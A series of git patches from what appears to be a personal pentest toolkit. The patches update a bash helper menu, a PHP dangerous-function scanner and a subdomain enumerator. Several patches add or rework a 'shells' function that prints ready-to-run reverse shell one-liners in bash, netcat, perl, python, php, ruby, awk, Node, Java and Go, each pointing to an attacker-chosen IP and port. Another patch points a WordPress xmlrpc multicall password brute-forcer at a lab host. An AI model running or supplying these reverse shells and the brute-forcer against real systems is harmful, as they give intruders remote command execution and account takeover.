$GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR" echo -e "$BLUE_BG:: UTILS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" - echo -e "$CYAN hashme $GRAY[STRING]$CLR\t\t\t\t -> hash/encode string (md5, sha1, base64, hex encoded)" + echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t$CYAN hashme $GRAY[STRING]$CLR" echo -e "$CLR" ;; esac From 5adb1ed41ad5362fc9c32b297e2698ea7ce12a63 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 28 Jan 2023 17:08:29 +0000 Subject: [PATCH 272/369] [s0mbra] update menu --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 4e841a3..6e40d24 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -865,7 +865,7 @@ case "$cmd" in echo -e "$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR" echo -e "$CYAN rubysast $GRAY[DIR]\t\t\t$YELLOW(Ruby)$CLR\t\t$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR" - echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" + echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR" echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR" echo -e "$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR" From 600a672306a35aae5536a3ef79710dff4daec5cb Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 2 Feb 2023 22:09:58 +0000 Subject: [PATCH 273/369] [s0mbra] fix for missing IP in generate_shells() --- s0mbra.sh | 13 ++++--------- 1 file changed, 4 insertions(+), 9 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 6e40d24..bed9868 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -665,26 +665,21 @@ generate_shells() { echo -e "$BLUE[s0mbra] OK, here are your shellz...\n$CLR" - echo -e " $CLR[bash]\033[0m bash -i >& /dev/tcp/$1/$port 0>&1" - echo -e " $CLR[bash]\033[0m 0<&196;exec 196<>/dev/tcp/$1/$port; sh <&196 >&196 2>&196" - echo -e " $CLR[bash]\033[0m rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $1 $port >/tmp/f" - echo -e " $CLR[bash]\033[0m rm -f backpipe; mknod /tmp/backpipe p && nc $ip $port 0backpipe" - echo -e "$NEWLINE" + echo -e "$YELLOW[bash]\033[0m bash -i >& /dev/tcp/$1/$port 0>&1" + echo -e "$YELLOW[bash]\033[0m 0<&196;exec 196<>/dev/tcp/$1/$port; sh <&196 >&196 2>&196" + echo -e "$YELLOW[bash]\033[0m rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $1 $port >/tmp/f" + echo -e "$YELLOW[bash]\033[0m rm -f backpipe; mknod /tmp/backpipe p && nc $1 $port 0backpipe" echo -e "\033[1;34m[perl]\033[0m perl -e 'use Socket;\$i=\"$1\";\$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" echo -e "\033[1;34m[perl]\033[0m perl -MIO -e '\$p=fork;exit,if(\$p);\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" echo -e "\033[1;34m[perl (Windows)]\033[0m perl -MIO -e '\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" - echo -e "$NEWLINE" echo -e "\033[1;36m[python]\033[0m python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$1\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]\033[0m);'" - echo -e "$NEWLINE" echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);shell_exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);system(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);popen(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" - echo -e "$NEWLINE" echo -e "\033[1;30m[ruby]\033[0m ruby -rsocket -e'f=TCPSocket.open(\"$1\",$port).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'" echo -e "\033[1;30m[ruby]\033[0m ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" echo -e "\033[1;30m[ruby]\033[0m ruby -rsocket -e 'c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" - echo -e "$NEWLINE" echo -e "\033[36m[netcat]\033[0m nc -e /bin/sh $1 $port" echo -e "\033[36m[netcat]\033[0m nc -c /bin/sh $1 $port" echo -e "\033[36m[netcat]\033[0m /bin/sh | nc $1 $port" From 8497ce0534373f6ffc063e1dd28951e42f942d49 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 5 Feb 2023 06:40:05 +0000 Subject: [PATCH 274/369] [s0mbra] generated reverse shells - updated --- s0mbra.sh | 64 ++++++++++++++++++++++++++++++++++--------------------- 1 file changed, 40 insertions(+), 24 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index bed9868..d1b4375 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -659,32 +659,48 @@ abe() { } # generates reverse shells in various languages for given IP:PORT -generate_shells() { +shells() { clear port=$2 echo -e "$BLUE[s0mbra] OK, here are your shellz...\n$CLR" - echo -e "$YELLOW[bash]\033[0m bash -i >& /dev/tcp/$1/$port 0>&1" - echo -e "$YELLOW[bash]\033[0m 0<&196;exec 196<>/dev/tcp/$1/$port; sh <&196 >&196 2>&196" - echo -e "$YELLOW[bash]\033[0m rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $1 $port >/tmp/f" - echo -e "$YELLOW[bash]\033[0m rm -f backpipe; mknod /tmp/backpipe p && nc $1 $port 0backpipe" - echo -e "\033[1;34m[perl]\033[0m perl -e 'use Socket;\$i=\"$1\";\$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" - echo -e "\033[1;34m[perl]\033[0m perl -MIO -e '\$p=fork;exit,if(\$p);\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" - echo -e "\033[1;34m[perl (Windows)]\033[0m perl -MIO -e '\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" - echo -e "\033[1;36m[python]\033[0m python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$1\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]\033[0m);'" - echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" - echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);shell_exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" - echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);system(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" - echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);popen(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" - echo -e "\033[1;30m[ruby]\033[0m ruby -rsocket -e'f=TCPSocket.open(\"$1\",$port).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'" - echo -e "\033[1;30m[ruby]\033[0m ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" - echo -e "\033[1;30m[ruby]\033[0m ruby -rsocket -e 'c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" - echo -e "\033[36m[netcat]\033[0m nc -e /bin/sh $1 $port" - echo -e "\033[36m[netcat]\033[0m nc -c /bin/sh $1 $port" - echo -e "\033[36m[netcat]\033[0m /bin/sh | nc $1 $port" - echo -e "\033[36m[netcat]\033[0m rm -f /tmp/p; mknod /tmp/p p && nc $1 $port 0/tmp/p" - echo -e "\033[36m[netcat]\033[0m rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $1 $port >/tmp/f" + echo -e "$YELLOW[bash]\033[0m\t\tbash -i >& /dev/tcp/$1/$port 0>&1" + echo -e "$YELLOW[bash]\033[0m\t\t0<&196;exec 196<>/dev/tcp/$1/$port; sh <&196 >&196 2>&196" + echo -e "$YELLOW[bash]\033[0m\t\trm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $1 $port >/tmp/f" + echo -e "$YELLOW[bash]\033[0m\t\trm -f backpipe; mknod /tmp/backpipe p && nc $1 $port 0backpipe" + echo + echo -e "\033[1;31m[gawk]\033[0m\t\tgawk 'BEGIN {P=$port;S=\"cmd> \";H=\"$1\";V=\"/inet/tcp/0/\"H\"/\"P;while(1){do{printf S|&V;V|&getline c;if(c){while((c|&getline)>0)print \$0|&V;close(c)}}while(c!=\"exit\")close(V)}}'" + echo -e "\033[1;31m[awk]\033[0m\t\tawk 'BEGIN {s = \"/inet/tcp/0/$1/$port\"; while(42) { do{ printf \"shell>\" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print \$0 |& s; close(c); } } while(c != \"exit\") close(s); }}' /dev/null" + echo + echo -e "\033[1;34m[perl]\033[0m\t\tperl -e 'use Socket;\$i=\"$1\";\$p=$port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" + echo -e "\033[1;34m[perl]\033[0m\t\tperl -MIO -e '\$p=fork;exit,if(\$p);\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" + echo -e "\033[1;34m[perl]\033[0m\t\tperl -MIO -e '\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" + echo + echo -e "\033[1;36m[python]\033[0m\tpython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$1\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]\033[0m);'" + echo + echo -e "\033[1;32m[php]\033[0m\t\tphp -r '\$sock=fsockopen(\"$1\",$port);exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[1;32m[php]\033[0m\t\tphp -r '\$sock=fsockopen(\"$1\",$port);shell_exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[1;32m[php]\033[0m\t\tphp -r '\$sock=fsockopen(\"$1\",$port);system(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[1;32m[php]\033[0m\t\tphp -r '\$sock=fsockopen(\"$1\",$port);popen(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo + echo -e "\033[1;31m[Node]\033[0m\t\tnode -e \"require('child_process').exec('bash -i >& /dev/tcp/$1/$port 0>&1');\"" + echo -e "\033[1;31m[Node]\033[0m\t\tnode -e \"require('child_process').exec('nc -e /bin/sh $1 $port')\"" + echo -e "\033[1;31m[Node]\033[0m\t\tnode -e \"require('child_process').exec(\"bash -c 'bash -i >& /dev/tcp/$1/$port 0>&1'\")\"" + echo + echo -e "\033[1;33m[ruby]\033[0m\t\truby -rsocket -e'f=TCPSocket.open(\"$1\",$port).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'" + echo -e "\033[1;33m[ruby]\033[0m\t\truby -rsocket -e 'exit if fork;c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" + echo -e "\033[1;33m[ruby]\033[0m\t\truby -rsocket -e 'c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" + echo + echo -e "\033[36m[nc]\033[0m\t\tnc -e /bin/sh $1 $port" + echo -e "\033[36m[nc]\033[0m\t\tnc -c /bin/sh $1 $port" + echo -e "\033[36m[nc]\033[0m\t\t/bin/sh | nc $1 $port" + echo -e "\033[36m[nc]\033[0m\t\trm -f /tmp/p; mknod /tmp/p p && nc $1 $port 0/tmp/p" + echo -e "\033[36m[nc]\033[0m\t\trm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $1 $port >/tmp/f" + echo + echo -e "\033[1;35m[Java]\033[0m\t\tr = Runtime.getRuntime();p = r.exec([\"/bin/bash","-c","exec 5<>/dev/tcp/$1/$port;cat <&5 | while read line; do \$line 2>&5 >&5; done\"] as String[]);p.waitFor()" + echo + echo -e "\033[1;32m[Go]\033[0m\t\techo 'package main;import\"os/exec\";import\"net\";func main(){c,_:=net.Dial(\"tcp\",\"$1:$port\");cmd:=exec.Command(\"/bin/sh\");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;http://cmd.Run();}'>/tmp/sh.go&&go run /tmp/sh.go" echo -e "$BLUE\n[s0mbra] Done! $CLR" } @@ -824,8 +840,8 @@ case "$cmd" in discloS3) discloS3 "$2" ;; - generate_shells) - generate_shells "$2" "$3" + shells) + shells "$2" "$3" ;; rubysast) ruby_sast "$2" @@ -847,7 +863,7 @@ case "$cmd" in echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR\t\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR" - echo -e "$CYAN http $GRAY[PORT] [STACK]$CLR\t\t\t\t$CYAN generate_shells $GRAY[IP] [PORT] $CLR" + echo -e "$CYAN http $GRAY[PORT] [STACK]$CLR\t\t\t\t$CYAN shells $GRAY[IP] [PORT] $CLR" echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR" echo -e "$CYAN smb_get_file $GRAY[IP] [PATH] [user] [*password] $CLR\t$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR" echo -e "$CYAN smb_umount $CLR" From 2873bc730255feb5051df5e5302d781fe251f2b8 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 5 Feb 2023 14:44:38 +0000 Subject: [PATCH 275/369] [s0mbra] Added apk_to_studio command --- s0mbra.sh | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index d1b4375..c842f60 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -626,7 +626,7 @@ ruby_sast() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } -# deso stuff with Android APK file +# does stuff with Android APK file apk() { clear echo -e "$BLUE[s0mbra] OK, let's see this APK...$CLR" @@ -640,6 +640,14 @@ apk() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# xreate Android Studio project from Android apk file +apk_to_studio() { + clear + echo -e "$BLUE[s0mbra] Creating Android Studio project from APK file...$YELLOW" + /Users/bl4de/hacking/tools/Java_Decompilers/jadx/bin/jadx --deobf -e -d out "$1" + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + # extracts Androind .ab archive abe() { clear @@ -792,6 +800,9 @@ case "$cmd" in apk) apk "$2" ;; + apk_to_studio) + apk_to_studio "$2" + ;; abe) abe "$2" ;; @@ -880,6 +891,7 @@ case "$cmd" in echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR" echo -e "$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR" + echo -e "$CYAN apk_to_studio $GRAY[.apk FILE]$CLR\t$YELLOW(Java)$CLR" echo -e "$BLUE_BG:: UTILS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t$CYAN hashme $GRAY[STRING]$CLR" echo -e "$CLR" From 3bf80b3075d941cc769c3e3b286fc94c02edca42 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 22 Feb 2023 14:11:08 +0000 Subject: [PATCH 276/369] [s0mbra] abe() - remove .ab default extension --- s0mbra.sh | 2 +- xmlrpc_amplif_bruteforce.py | 20 ++++++++++---------- 2 files changed, 11 insertions(+), 11 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index c842f60..99c0fd8 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -652,7 +652,7 @@ apk_to_studio() { abe() { clear echo -e "$BLUE[s0mbra] Extracting $1.ab backup into $1.tar...$CLR" - java -jar /Users/bl4de/hacking/tools/Java_Decompilers/android-backup-extractor/build/libs/abe.jar unpack $1.ab $1.tar + java -jar /Users/bl4de/hacking/tools/Java_Decompilers/android-backup-extractor/build/libs/abe.jar unpack $1 $1.tar if [[ "$?" == 0 ]]; then echo -e "\n$GREEN[s0mbra] Success! $1.ab unpacked and $1.tar was created..." echo -e "[s0mbra] Let's untar some files, shall we?$CLR" diff --git a/xmlrpc_amplif_bruteforce.py b/xmlrpc_amplif_bruteforce.py index 0e2b30c..3993b1c 100644 --- a/xmlrpc_amplif_bruteforce.py +++ b/xmlrpc_amplif_bruteforce.py @@ -8,7 +8,9 @@ output = open("./output.txt", "w") passwords = open( "/Users/bl4de/hacking/dictionaries/100000_passwords.txt").readlines() -host = "HOST.com" +usernames = open( + "/Users/bl4de/hacking/dictionaries/SecLists/Usernames/top-usernames-shortlist.txt").readlines() +host = "metapress.htb" # headers used in POST requests h = { @@ -19,7 +21,7 @@ index = 0 # XMLRPC url -url = f"https://{host}/xmlrpc.php" +url = "http://metapress.htb/xmlrpc.php" print("[+] building payload...") # building payload for system.multicall wp.getUsersBlogs @@ -92,7 +94,7 @@ def send_request_with_username(username, passwords): payload = payload_start + payload + payload_end - print(payload) + # print(payload) print("[+] sending POST request with payload... ({} credentials in total checked)".format(total)) resp = requests.post(url, headers=h, data=payload) @@ -100,7 +102,7 @@ def send_request_with_username(username, passwords): if resp.status_code == 200: print("[+] response HTTP 200 OK received, analysing results...") # p0wned. This is the end :P - if "isAdmin" in resp.content: + if b"isAdmin" in resp.content: print("[+] SUCCESS !!! Matching username/password for {} found!, please review response content for details...").format(username) output.write(resp.content) exit(0) @@ -117,11 +119,9 @@ def send_request_with_username(username, passwords): print(resp.content) -# for username in usernames: -# send_request_with_username("trapcall", ["123456"]) - -for i in range(0, 100000, 64): - p = passwords[i:i+64] - send_request_with_username("trapcall", p) +for username in usernames: + for i in range(0, 100000, 64): + password = passwords[i:i+64] + send_request_with_username(username, password) print("[+] done...\n\n") From 75900eac20ec3b67b1366907dbe381315790c886 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 4 Mar 2023 10:11:17 +0000 Subject: [PATCH 277/369] [denumerator] missing ) in menu --- denumerator/denumerator.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 5576f08..69220bd 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -475,7 +475,7 @@ def main(): allowed_http_responses = [] parser.add_argument( - "-f", "--file", help="File with list of hostnames to check (-t/--target will be ignored") + "-f", "--file", help="File with list of hostnames to check (-t/--target will be ignored)") parser.add_argument( "-t", "--target", help="Target domain - will use crt.sh to perform subdomain enumeration (-f/--file will be ignored)") parser.add_argument( From 82552cd36dcbb580e2eb58ca8d12e5e50d9b97aa Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 4 Mar 2023 10:17:45 +0000 Subject: [PATCH 278/369] [denumerator] Fix flag options in menu to not require values --- denumerator/denumerator.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 69220bd..cd25a14 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -479,7 +479,7 @@ def main(): parser.add_argument( "-t", "--target", help="Target domain - will use crt.sh to perform subdomain enumeration (-f/--file will be ignored)") parser.add_argument( - "-s", "--success", help="Show all responses, including exceptions") + "-s", "--success", help="Show all responses, including exceptions", action='store_true') parser.add_argument( "-o", "--output", help="Path to text output file with all domains with identified web servers") parser.add_argument( @@ -488,7 +488,7 @@ def main(): "-c", "--code", help="Show only selected HTTP response status codes, comma separated", default='200,206,301,302,403,422,500' ) parser.add_argument( - "-n", "--nmap", help="use nmap for port scanning (slows down the whole enumeration A LOT, so be warned!)", default=100 + "-n", "--nmap", help="use nmap for port scanning (slows down the whole enumeration A LOT, so be warned!)", action='store_true' ) parser.add_argument( "-p", "--ports", help="--top-ports option for nmap (default = 100)", default=100 From 6459e8244f86a7dc812b52c9dd8cef9d9f8e3d4e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 4 Mar 2023 12:13:23 +0000 Subject: [PATCH 279/369] [denumerator] Open screenshot in fulls ize in new tab --- denumerator/denumerator.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index cd25a14..4a4c8aa 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -312,7 +312,9 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ - + + + From ccdc8c403050d94bb8b16746c687a060f62c16e0 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 5 Mar 2023 13:08:31 +0000 Subject: [PATCH 280/369] [denumerator] fixed template (missing screenshot name) --- denumerator/denumerator.py | 1 + 1 file changed, 1 insertion(+) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 4a4c8aa..dad6987 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -340,6 +340,7 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ (http_status_code//100), element_class_name, screenshot_name, + screenshot_name, response_headers_html, ip_html, nmap_html From a89c1f697ff60d659ee382c2402a747670333cf9 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 1 Jun 2023 20:15:05 +0100 Subject: [PATCH 281/369] [s0mbra] remove graupdit from pysast() due to very verbose output :P --- hexview/hexview.py | 3 +-- s0mbra.sh | 3 --- 2 files changed, 1 insertion(+), 5 deletions(-) diff --git a/hexview/hexview.py b/hexview/hexview.py index 3a146d5..8467d2d 100755 --- a/hexview/hexview.py +++ b/hexview/hexview.py @@ -1,4 +1,4 @@ -#!/usr/bin/python3 +#!/usr/local/homebrew/bin/python3 """ based on: "Tutorial: Making your own Hex Dump Program" by DrapsTV https://www.youtube.com/watch?v=B8nRrw_M_nk&index=1&list=WL @@ -262,7 +262,6 @@ def format_chunk(chunk, start, stop, df_chunk=False, dec=False): "{} ".format(make_color(c, df_c)) for c, df_c in itertools.izip(chunk[start:stop], df_chunk[start:stop]) ) - print("TU: ", [c for c in chunk[start:stop]]) return " ".join("{} ".format(make_color(c)) for c in chunk[start:stop]) diff --git a/s0mbra.sh b/s0mbra.sh index 99c0fd8..f46c43e 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -444,9 +444,6 @@ pysast() { echo -e "\n$BLUE[s0mbra] Running vulture against $DIR_NAME $CLR\n" python3 -m vulture $DIR_NAME - echo -e "\n$BLUE[s0mbra] Running graudit against $DIR_NAME $CLR\n" - graudit $1 - # cleanup rm -rf .mypy_cache echo -e "\n$BLUE[s0mbra] Done.$CLR" From b27b9a768f2338353f0de7938ee062ded2c9922f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 3 Jun 2023 01:53:01 +0100 Subject: [PATCH 282/369] [pef] refactoring --- pef/imports/pefdocs.py | 6 ++++++ pef/pef.py | 19 ++++++++++--------- pef/test.php | 3 +++ 3 files changed, 19 insertions(+), 9 deletions(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 3be2893..f0f7044 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -5,6 +5,12 @@ # 2nd element - syntax # 3rd element - possible vulnerability classes exploitableFunctionsDesc = { + "`": [ + "Allows to execute system command", + "`$command`", + "RCE", + "critical" + ], "system()": [ "Allows to execute system command passed as an argument", "system ( string $command [, int &$return_var ] ) : string", diff --git a/pef/pef.py b/pef/pef.py index 14fc868..586045b 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -25,6 +25,7 @@ # exploitable functions exploitableFunctions = [ + "`", "system(", "exec(", "popen(", @@ -43,7 +44,6 @@ "putenv(", "ini_set(", "mail(", - "header(", "unserialize(", "assert(", "call_user_func(", @@ -75,7 +75,6 @@ "print(", "printf(", "ldap_search(", - "header(", "sqlite_", "sqlite_query(", "pg_", @@ -183,14 +182,16 @@ def analyse_line(self, l, i, fn, f, line): """ res = None # there has to be space before function call; prevents from false-positives strings contains PHP function names - atfn = "@{}".format(fn) - fn = "{}".format(fn) + atfn = f"@{fn}" + fn = f"{fn}" # also, it has to checked agains @ at the beginning of the function name # @ prevents from output being echoed - if fn in line or atfn in line: - res = self.print_code_line( - f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level) + if fn == "`": + res = self.print_code_line(f.name, l, i, fn, self.severity, self.level) + else: + res = self.print_code_line( + f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level) return res def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): @@ -215,8 +216,8 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): _line = _line[:120] + \ f" (...truncated -> line is {len(_line)} characters long)" else: - print("{}{}:{}{}\t{}{}".format(beautyConsole.getColor( - "white"), file_name, i, beautyConsole.getColor(impact_color[impact]), _line.strip()[:255], beautyConsole.getColor("grey"), vuln_class)) + print("{}{}:{}\t{}{}\t{}\t{}{}".format(beautyConsole.getColor( + "white"), file_name, i, beautyConsole.getColor("grey"), vuln_class, beautyConsole.getColor(impact_color[impact]), _line.strip()[:255], beautyConsole.getColor("grey"))) found += 1 if impact not in severity.keys(): severity[impact] = 1 diff --git a/pef/test.php b/pef/test.php index f513700..3bb1f9e 100644 --- a/pef/test.php +++ b/pef/test.php @@ -4,3 +4,6 @@ echo $_GET['cmd']; } +`ls -lA`; +[]; + From a983c8a65605f0d102d269c4bd8f0341438b4440 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 7 Jun 2023 10:31:04 +0100 Subject: [PATCH 283/369] [pef] refactoring --- pef/pef.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 586045b..f98b2de 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -216,8 +216,7 @@ def print_code_line(self, file_name, _line, i, fn, severity="", 